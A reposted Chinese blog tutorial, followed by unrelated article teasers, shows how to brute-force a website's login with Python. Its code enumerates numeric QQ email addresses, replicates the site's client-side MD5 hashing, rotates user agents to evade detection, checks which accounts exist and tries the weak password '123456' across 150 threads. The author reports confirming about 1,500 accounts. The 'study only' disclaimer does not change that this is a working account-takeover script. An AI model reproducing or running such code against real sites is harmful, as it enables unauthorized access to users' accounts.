如何通过Python暴力破解网站登陆密码

news/2024/5/12 17:25:29/文章来源:https://blog.csdn.net/weixin_30772261/article/details/99447946

首先申明,该文章只可以用于交流学习,不可以用于其他用途,否则后果自负。

现在国家对网络安全的管理,越来越严,但是还是有一些不法网站逍遥法外,受限于国内的人力、物力,无法对这些网站进行取缔。

今天演示的这个网站,就是属于非法的网站。

 

首先看登陆界面。

 

 抓取登陆信息。

使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。

我输入的密码和用户名一致,说明该站对提交的密码进行了处理,等一会我来看,密码是怎么处理的,现在我们看服务器的返回信息。

服务器返回的是JSON,到这一步,我们就差密码了,只要知道密码是怎么生成的,就能加速对用户密码的破解了。

查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。

到了这一步,我们也就初步知道如何对该网站进行暴力破解了。

由于现在的人们在进行网站注册的时候,都是使用QQ邮箱进行注册的,因此我们可以先构建一个QQ邮箱,先判断盖邮箱存不存在,然后我们在判断密码正不正确。

现在我们的思路理清楚了,接下来直接上干货。

user_num_low = 111111111
user_num_max = 9999999999
user_nbr = user_num_lowmutex=Lock()#构造用户邮箱
def get_user_nbr():mutex.acquire(3)global  user_nbruser_name = '%s%s' % (str(user_nbr), '@qq.com')user_nbr = user_nbr + 1mutex.release()return user_namedef user_end_judge():mutex.acquire(3)result = Falseif user_nbr > user_num_max :result = Trueelse:result = Falsemutex.release()return  resultdef get_curr_user():mutex.acquire(3)global  user_nbruser_name = '%s%s' % (str(user_nbr), '@qq.com')mutex.release()return user_name

 

 构造用于判断密码邮箱是否存在

user_agent = ['Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30','Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)','Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50','Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
]def save_pwd(user, pwd,desc):with open("resut.txt","a+") as f:f.write('user:'+ user + '  pwd:' + pwd + " desc:" + desc + '\n')def user_test(username,password):resp = ""result = ""url = "http://www.k*.htm"pwd = passworduser= usernamemd = hashlib.md5()md.update(pwd)password =  md.hexdigest()data = {'email':username,'password':password}# 设置网页编码格式,解码获取到的中文字符encoding = "gb18030"# 构造http请求头,设置user-agentheader = {"User-Agent": random.choice(user_agent),'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest'}try:requests.adapters.DEFAULT_RETRIES = 5resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.ReadTimeout:print("1")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.Timeout:print("2")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.ConnectionError:print("3")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except socket.error:time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except BaseException as e:print(e)time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)resp.keep_alive = False#print(resp.content)try:result = resp.contentjson = resp.json()print('邮箱:%s ,result:%s \n ' % (username,result))if (json['message'].find('不存在') > -1):#print('邮箱:%s 为空' % username )return Falseelse:print('邮箱: %s 存在' % username)save_pwd(username, password, json['message'])return Trueexcept BaseException as e:print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

 

好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。

判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。

  if(json['message'].find('错误') > -1):print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))return Falseelse:print('邮箱: %s  密码: %s ,登陆成功!' % (username, pwd))

由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。

def thread_bru(): # 破解子线程函数#while not user_end_judge():pwd_queue.empty()while not user_end_judge():try:pwd = ‘123456’user = get_user_nbr()#print pwd_test#if user_test(user, pwd_test):if user_test(user, pwd):result = pwdprint ('破解 %s 成功,密码为: %s' % (user, pwd))breakexcept BaseException as e:print("破解子线程错误: %s" % e)def brute(threads):for i in range(threads):t = threading.Thread(target=thread_bru)t.start()print('破解线程-->%s 启动' % t.ident)while (not user_end_judge()): # 剩余口令集判断print('\r 进度: 当前值 %d' % pwd_queue.qsize())time.sleep(2)#print('\n破解完毕')if __name__ == "__main__":brute(150)

好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。

居然测试成功1500左右的邮箱,还有很多许多人是用非常简单的密码的。

 

有不懂的问题,加企鹅群交流吧:98556420。

 

转载于:https://www.cnblogs.com/kmust/p/9163512.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_824126.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于php的购物网站源代码,[内附完整源码和文档] 基于PHP的网上购物系统设计与实现...

摘 要随着Internet技术的发展,人们的日常生活已经离不开网络。未来社会人们的生活和工作将越来越依赖于Internet技术的发展,也将越来越数字化、网络化、电子化、虚拟化。电子商务也随着网络的发展日益和人们的生活贴近。Internet的发展历程以及目前的应用…

大型分布式网站架构:缓存在分布式系统中的应用

缓存是分布式系统中的重要组件,主要解决高并发,大数据场景下,热点数据访问的性能问题。提供高性能的数据快速访问。 一、缓存概述 缓存是分布式系统中的重要组件,主要解决高并发,大数据场景下,热点数据访问…

用正则扒网站图片_推荐 12 个学习前端必备的神仙级工具类项目与网站

今天给大家推荐的是平时学习前端时,经常用到的一些辅助工具类网站。1. codelf有一种痛,不是程序员可能不懂,但如果是程序员一定懂,那就是给变量或函数命名。随着项目越来越复杂,变量和函数数量越来越多,英语…

按钮做页面调转_自媒体人如何自己建立一个手机网站,超简单,任何人都能做...

随着移动互联网的兴起,越来越多的公司、个人把展示的内容转到了手机网站上,学会制作手机网站就成了大家关注的热点。传统的网页制作工具制作电脑端的网站功能很强大,但手机网站由于手机屏幕大小和CPU处理能力较弱,对网站的要求与传…

html静态网页模板_静态与动态链接:哪种最适合SEO?

关于动态链接与静态链接的争论在行业中引起越来越多的争议,每个SEO人员都对哪种类型的链接最适合SEO有自己的看法。然而我们首先来了解一下基本概念。动态或静态链接到底是什么?静态链接是具有永久不变的网页。例如,您的首页网址可能是静态链…

linux中关于磁盘配额的描述,Linux磁盘配额 - Linux操作系统基础进阶练习题_Linux教程_Linux公社-Linux系统门户网站...

Linux操作系统基础进阶练习题Linux磁盘配额[日期:2009-06-01]来源:Linux社区作者:Linux编辑[字体:大 中 小]1)建立测试组gtest,测试用户test1,test2,test3以上两个测试用户的初始组为gtest参考答案:groupadd gtestuseradd -m -g g…

struts2+hibernate学习之实现网站留言板和好友互相添加功能

前面我将自己添加好友的思路,以及测试做好了,这里放在一起来回顾自己的思路和中间遇到问题:先看结果,╭(╯^╰)╮界面是有点说不过去。。。。 这里不再说留言板的显示具体实现过程,留言表有两个外键,对应用…

网站的中英文切换--i18next

这两天公司让我做公司官网,就是几个静态页面。我都不好意思说自己是Java开发了,年后来公司基本上自己做毕业设计才写Java代码。在公司基本没有写过Java的东西,我都怀疑公司是不是看我Java太菜,让我以后就做前端了。。。然后我前端…

如何观看一些被屏蔽的网站_什么是屏蔽网线、非屏蔽网线,超五类双屏蔽网线?一文彻底清楚...

【工控课堂】电气工程师必备网站!海量免费资源下载学习! 下载地址:čľć庍-塼ć诞ĺ - www.gkket.com前天我们发布了关于超5类线水晶头与6类线水晶头有什么不同?6类水晶头如何接线?有朋友提到屏蔽双绞线&…

wordpress 内网安装插件_wordpress零基础建站(5)-启用redis+优化php-fpm和mysql

在上一节教程中,我们已经搭建了wordpress环境phpnginxmysqlredis,并完成wordpress安装,目前你应该可以正常登录wordpress后台了。这篇文章是wordpress优化的第一篇文章,主要是软件配置方面的内容,后面我们还会再写一篇…

linux字符驱动程序过程,字符设备驱动程序 - Linux设备驱动程序笔记_Linux编程_Linux公社-Linux系统门户网站...

.主设备号和次设备号对字符设备的访问时通过文件系统内的设备名称进行的。那些设备名称简单称之为文件系统树的节点,它们通常位于/dev目录。字符设备驱动程序的设备文件可通过ls -l命令输出的第一列中的c来识别。块设备同样位于/dev下,由字符b标识crw-rw…

亳州学院计算机查询网址,亳州学院教务处网站【官网入口】

亳州学院教务处网站(一)亳州学院教务处网站(二)2016亳州中小学寒假放假时间:1月29日-2月22日中国招生考试网资讯 12月30日,市教育局下发通知,敲定了亳州市中小学幼儿园寒假放假时间。全市中小学、幼儿园寒假从1月29日(腊月二十)开始&#xff…

买服务器做网站 镜像选什么,云服务器做网站镜像类型选啥

云服务器做网站镜像类型选啥 内容精选换一换超高性能计算型主要用于满足高端计算(例如工业仿真、分子建模、计算流体力学)的需要,除了提供强大的CPU能力外,还提供了多种选择,使用EDR InfiniBand网卡组成的低延迟RDMA网络,支持内存…

哪个云服务器网站不用备案,国内不需要备案的服云服务器

国内不需要备案的服云服务器 内容精选换一换不想看文字,请直接戳视频链接。可以不做备案吗?根据《互联网信息服务管理办法》等相关规定,使用中国大陆节点服务器开办的网站,必须先办理网站备案,备案成功并获取通信管理局…

一步步构建大型网站架构

一步步构建大型网站架构 来源: itivy 发布时间: 2011-05-02 20:21 阅读: 12388 次 推荐: 10 原文链接 [收藏] 之前我简单向大家介绍了各个知名大型网站的架构,MySpace的五个里程碑、Flickr的架构、YouTube的架构、PlentyOfFish的架构、WikiPedia的架构。这几个都很典…

Linux实战案例——使用LNMP+WordPress搭建个人博客网站

一、案例目标 了解 LNMP 环境的组成。 了解 LNMP 环境的部署与安装。 了解 WordPress 应用的部署与使用二、环境介绍 1.LNMP LNMP是指一组通常一起使用来运行动态网站或者服务器的自由软件名称首字母缩写。L指Linux,N指Nginx,M一般指MySQL,也…

php随机名人名言,自建网站随机名言警句API也就是一言随机名句api【教程】

自建版的好处就是,api 及经典语句内容完全由自己管控,并且稳定性受自己影响,不受外部网站影响;当然,缺点也很明显了,木有一言的语句多。一言网(Hitokoto.cn)隶属于萌创 Team,目前网站主要提供一…

Google推出网站优化工具-Website Optimizer

首先我们了解一下什么是"landing page"。"landing page"即"着陆页面",简而言之,它就是网站读者到达你的网站时所看到的第一个网页。读者可能是在搜索引擎的搜索结果里看到你的网站,然后点击进来,也…

通过避免下列 10 个常见 ASP.NET 缺陷使网站平稳运行(转)

本文将讨论: • 缓存和 Forms 身份验证 • 视图状态和会话状态 • 配置文件属性序列化 • 线程池饱和 • 模拟和设置配置文件 本文使用了下列技术: .NET Framework、ASP.NET、Windows Server 2003 本页内容 LoadControl 和输出缓存会话和输出缓存Fo…

网站、数据库的衍变之路(四)

话接前文《网站、数据库的衍变之路(三) 》。上回说到该增加服务器了,那要增加多少服务器,增加了服务器网站怎么部署呢?最简单的办法当然是拆分应用。 一、分离应用 图1 如图1所示,把应用拆分开来,根据压力放置到不同的…